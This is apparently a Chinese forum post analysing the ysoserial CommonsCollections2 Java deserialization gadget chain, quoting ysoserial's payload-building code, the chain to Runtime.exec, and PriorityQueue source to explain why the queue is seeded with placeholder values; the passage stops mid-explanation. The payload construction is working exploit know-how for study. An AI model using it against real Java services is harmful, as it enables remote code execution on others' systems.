0x00 背景

前段时间推荐一学弟好好看看Ysoserial,中间他问了我两个问题:1)queue为什么要先用两个1占位;2)PriorityQueue的queue 已经使用transient关键字修饰,为什么还能从流中反序列化queue中的元素(参见CommonsCollections2的源码)
我之前只是看了部分分析比如drops这篇,自己没有完完全全跟过相关源码。对于第一个问题,不假思索回答了“泛型类型擦除”,确切说是元素放入队列会进行比较排序,比较器要求元素类型一致,payload这么构造是为了防止序列化过程出现异常,后面通过利用反射再将修改元素。对于第二个问题,我当时没有让人信服的答案。
这两天有时间看了源码和序列规范,真是惭愧,误人子弟了!
在寻找答案的过程中,同事也尝试通过正向的思路去理解整个payload的构造,这个思路更加直白,感兴趣的可以看看。如果单纯想知道问题答案可以直接看0x03 问题解答

0x01 Gadget chain 分析

1)Gadget chain

/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

2)CommonsCollections2的getObject

public Queue<Object> getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);
        // mock method name until armed
        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        // switch method called by comparator
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = 1;


        return queue;
    }

3)待序列化反序列化的类
既然是正向思路,自然是从反序列化的本质出发。因此,很自然第一个问题是待序列化反序列化的类是哪一个。

//java.util.PriorityQueue

4)它的readObject方法做了什么

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

正如PriorityQueue名字,其是优先级的队列,既然是一个有优先级的队列,必然存在区分优先级的机制--排序。

在4)中,从heapify-->siftDown-->siftDownUsingComparator

private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

  private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }
 private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

在siftDown中,如果成员comparator不为空,则调用siftDownUsingComparator(名字很直白)。那么comparator(比较器)从哪里来呢?看看PriorityQueue其中一个构造方法:

public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;//指定比较器
    }

可以在实例化指定。

5)CommonsCollections2使用了什么比较器
回顾2),使用了TransformingComparator

//org.apache.commons.collections4.comparators.TransformingComparator

siftDownUsingComparator方法调用了比较器的compare方法

public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
点击收藏 | 0 关注 | 1
登录 后跟帖